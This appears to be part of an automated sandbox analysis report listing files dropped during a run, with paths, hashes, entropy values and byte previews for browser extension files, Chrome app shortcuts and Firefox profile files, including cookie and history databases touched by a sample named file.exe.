SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7808_999785420\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7808_999785420\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7808_999785420\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7808_999785420\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 08:09:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.982487480084619
Encrypted:	false
SSDEEP:	48:8G0dYTcooHAidAKZdA19ehwiZUklqehJy+3:8GXPTCy
MD5:	4A9BE1C5E953156CC4297C6BE82965A2
SHA1:	94E3DA3CB722D3C5661EA447D27E2C91D0B59E5E
SHA-256:	0F3D08DF434544BFA0786AC5554521AE0FF9E461F42E84227FA5DAE7BB650CE0
SHA-512:	04A06783F413F1AFBB466881AAAF4ED4BF9E0D4DC18EF3116C1E68E02ADDA625807384253D0DD88E3BC5E53CB477E92808715774A69052F078B2E7DAA8C5CA11
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....w...?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IzY#I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY#I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY#I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY#I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY%I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 08:09:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9979929165337293
Encrypted:	false
SSDEEP:	48:80dYTcooHAidAKZdA1weh/iZUkAQkqehyy+2:8XPh9Qjy
MD5:	F20241DA563F9F448F933949C3DAC19D
SHA1:	6FC6B9F6968322D1D2CE4FF46970BD45D7EB92BB
SHA-256:	8CBCFDED302E82B2FB3556E2695FF0633FE517E28AB67076C93E8C1A6E3B1497
SHA-512:	A767EB0D315DF0F9BEB8342516CDF2C6835DE1F655BA502FF24789500095E55BD075519278F77FD1A111835098ADFD2F2E06D2BA1AAEB933D2B8667250339790
Malicious:	false
Preview:	L..................F.@.. ...$+.,........?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IzY#I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY#I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY#I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY#I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY%I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.010561589693522
Encrypted:	false
SSDEEP:	48:8xRdYTcosHAidAKZdA14tseh7sFiZUkmgqeh7sky+BX:8x8Pdnmy
MD5:	D09A6B118707763A7F7BFA5E432B7BAB
SHA1:	49DF538A912429AA53A06249E9730E8B4CDA6BD6
SHA-256:	E485384D5DA667DB3E072670B14AEC9C3AC251296015F89289AE4B043AEDB11E
SHA-512:	404863BFA7FF7E003B1A60D782B7E9BEE9E4B21FCB806FB7E5446BBD0E51DD4B64DC433CDC02749B08D6DA26643B0DD0116439F494863520C4E807F1666B8225
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IzY#I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY#I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY#I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY#I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 08:09:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9969566020753966
Encrypted:	false
SSDEEP:	48:8X3dYTcooHAidAKZdA1vehDiZUkwqeh+y+R:8iPC8y
MD5:	A6F8502371E3C6C9669AC9AF08485EEC
SHA1:	AB10E83200C6E3BAEFFD248A19C7C48283812210
SHA-256:	EDF86AF810EE59FB1DE0A18AB21694B7B70BA57B3C2AF0D6250B7294B008A833
SHA-512:	98EF5285C489DEC04440630459114C0D7F532996CEB6334E8E108A42493B0F22F83728D37CF4BFFC217934E793FA0AAC4BF6F025EBEB3339187F68C6AA3DA27F
Malicious:	false
Preview:	L..................F.@.. ...$+.,........?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IzY#I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY#I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY#I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY#I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY%I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 08:09:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.985099347148064
Encrypted:	false
SSDEEP:	48:85dYTcooHAidAKZdA1hehBiZUk1W1qeh4y+C:8EPy9Yy
MD5:	F7304E3946CF6EEFD4DF511D02F16E76
SHA1:	33D04CF5AF5E8F6D351C0A78B7848C7305C693A6
SHA-256:	E503DD81446EAFE459D3D5AD1DBE3A722955A359E0BD04E1A322C11D7823A70A
SHA-512:	2005C5D2536734986C4E387C7C0F0726C6926B59269258E51D3FD64C6B923F39AAC0E1406DF199D13B2D9E14ADF2033DB50C59C314A32D02F7D1CDA30FC08930
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IzY#I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY#I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY#I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY#I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY%I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 08:09:08 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9958004269407623
Encrypted:	false
SSDEEP:	48:8xdYTcooHAidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8cPsT/TbxWOvTbmy7T
MD5:	055A065496B50D126A1ECB60A9FBE213
SHA1:	5945922CBADB886BA8A49711FBB1DAE3ED83EA34
SHA-256:	261BCE45411E4A85C91CFC93807061BB801DDDD7B7A9A98E4864E9637D9FFB5A
SHA-512:	E934DA12B51A7152DCB58B70E564C8BF774BBF804FEE5DC33EE3DDE4C36096A9EEF4FAF60325E65B904A67B5E450B560DC587F68D62F825047C552F2838F0ED0
Malicious:	false
Preview:	L..................F.@.. ...$+.,....f...?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IzY#I....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY#I....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY#I....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY#I..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY%I...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9813
Entropy (8bit):	5.5093039832528286
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6KJ0aX+H6SEXK5kHWNBw824Sl:PPevJUapHEwm0
MD5:	C526C739D63E65E4A016B6E93ACA1FC8
SHA1:	82201903051DCD4F4E019160814F5B72DDD0862E
SHA-256:	96CA4E4008EBAB087C8D3A7182ABA73272512AACDA6893CCC5B98372B356D089
SHA-512:	848F2A71CDF549AF3D9D006D391D8E088E800EC139EBFCB60831DC799A166D5F62933656222DED71C688F8485E5ABFC93DEFE6ECDE38AC24183C7E454F931372
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9813
Entropy (8bit):	5.5093039832528286
Encrypted:	false
SSDEEP:	192:nnPOeRnHYbBp6KJ0aX+H6SEXK5kHWNBw824Sl:PPevJUapHEwm0
MD5:	C526C739D63E65E4A016B6E93ACA1FC8
SHA1:	82201903051DCD4F4E019160814F5B72DDD0862E
SHA-256:	96CA4E4008EBAB087C8D3A7182ABA73272512AACDA6893CCC5B98372B356D089
SHA-512:	848F2A71CDF549AF3D9D006D391D8E088E800EC139EBFCB60831DC799A166D5F62933656222DED71C688F8485E5ABFC93DEFE6ECDE38AC24183C7E454F931372
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
